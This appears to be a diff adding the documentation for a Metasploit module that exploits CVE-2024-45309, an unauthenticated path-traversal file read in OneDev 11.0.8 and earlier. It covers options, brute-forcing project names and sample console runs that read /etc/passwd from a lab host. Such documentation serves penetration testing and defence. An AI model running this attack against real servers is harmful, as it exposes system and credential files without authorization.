|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +OneDev is a Git Server with CI/CD, kanban, and packages. |
| 4 | +This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. |
| 5 | +This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file. |
| 6 | + |
| 7 | +To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor |
| 8 | +can view existing projects without authentication. |
| 9 | +However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. |
| 10 | +By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. |
| 11 | + |
| 12 | +## Installation |
| 13 | + |
| 14 | +OneDev provides docker images for a quick setup process. |
| 15 | +A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8). |
| 16 | + |
| 17 | +Installation instructions can be found [here](https://docs.onedev.io/). |
| 18 | + |
| 19 | +## Verification Steps |
| 20 | + |
| 21 | +1. Install the OneDev application |
| 22 | +2. Start msfconsole |
| 23 | +3. Do: `use auxiliary/gather/onedev_arbitrary_file_read` |
| 24 | +4. Set the `RHOSTS` and `RPORT` options as necessary |
| 25 | +5. Set the `TARGETFILE` option with the absolute path of the target file to read |
| 26 | + |
| 27 | +If a valid project name is known: |
| 28 | + |
| 29 | +6. Set the `PROJECT_NAME` option with the known project name |
| 30 | +7. Do: `run` |
| 31 | +8. If the file exists, the contents will be displayed to the user |
| 32 | + |
| 33 | +If there is no information about existing projects: |
| 34 | + |
| 35 | +6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name |
| 36 | +7. Do: `run` |
| 37 | +8. If a valid project name is found, the target file contents will be displayed to the user |
| 38 | + |
| 39 | +## Options |
| 40 | + |
| 41 | +### PROJECT_NAME |
| 42 | +A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, |
| 43 | +any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled, |
| 44 | +the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force. |
| 45 | + |
| 46 | +### PROJECT_NAMES_FILE |
| 47 | +Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set, |
| 48 | +the module will verify whether a given project exists for each word. |
| 49 | + |
| 50 | + |
| 51 | +### TARGETFILE |
| 52 | +Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. |
| 53 | + |
| 54 | +### STORE_LOOT |
| 55 | +If set as `true`, the target file contents will be stored as loot. Set as `false` by default. |
| 56 | + |
| 57 | + |
| 58 | +## Scenarios |
| 59 | + |
| 60 | +### Example: Known project name or anonymous access enabled on OneDev 11.0.8 |
| 61 | + |
| 62 | +``` |
| 63 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 |
| 64 | +RHOSTS => 192.168.1.10 |
| 65 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 |
| 66 | +RPORT => 6610 |
| 67 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject |
| 68 | +PROJECT_NAME => myproject |
| 69 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run |
| 70 | +[*] Running module against 192.168.1.10 |
| 71 | +
|
| 72 | +[+] Target file retrieved with success |
| 73 | +[*] root:x:0:0:root:/root:/bin/bash |
| 74 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 75 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 76 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 77 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 78 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 79 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 80 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 81 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 82 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 83 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 84 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 85 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 86 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 87 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 88 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 89 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 90 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 91 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 92 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 93 | +
|
| 94 | +[*] Auxiliary module execution completed |
| 95 | +
|
| 96 | +``` |
| 97 | + |
| 98 | +### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8 |
| 99 | +``` |
| 100 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 |
| 101 | +RHOSTS => 192.168.1.10 |
| 102 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 |
| 103 | +RPORT => 6610 |
| 104 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt |
| 105 | +PROJECT_NAMES_FILE => /home/server/wordlist.txt |
| 106 | +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run |
| 107 | +[*] Running module against 192.168.1.10 |
| 108 | +
|
| 109 | +[*] Brute forcing valid project name ... |
| 110 | +[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject |
| 111 | +[+] Target file retrieved with success |
| 112 | +[*] root:x:0:0:root:/root:/bin/bash |
| 113 | +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
| 114 | +bin:x:2:2:bin:/bin:/usr/sbin/nologin |
| 115 | +sys:x:3:3:sys:/dev:/usr/sbin/nologin |
| 116 | +sync:x:4:65534:sync:/bin:/bin/sync |
| 117 | +games:x:5:60:games:/usr/games:/usr/sbin/nologin |
| 118 | +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin |
| 119 | +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin |
| 120 | +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin |
| 121 | +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin |
| 122 | +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin |
| 123 | +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin |
| 124 | +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin |
| 125 | +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin |
| 126 | +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin |
| 127 | +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin |
| 128 | +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin |
| 129 | +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin |
| 130 | +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash |
| 131 | +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin |
| 132 | +
|
| 133 | +[*] Auxiliary module execution completed |
| 134 | +
|
| 135 | +``` |
0 commit comments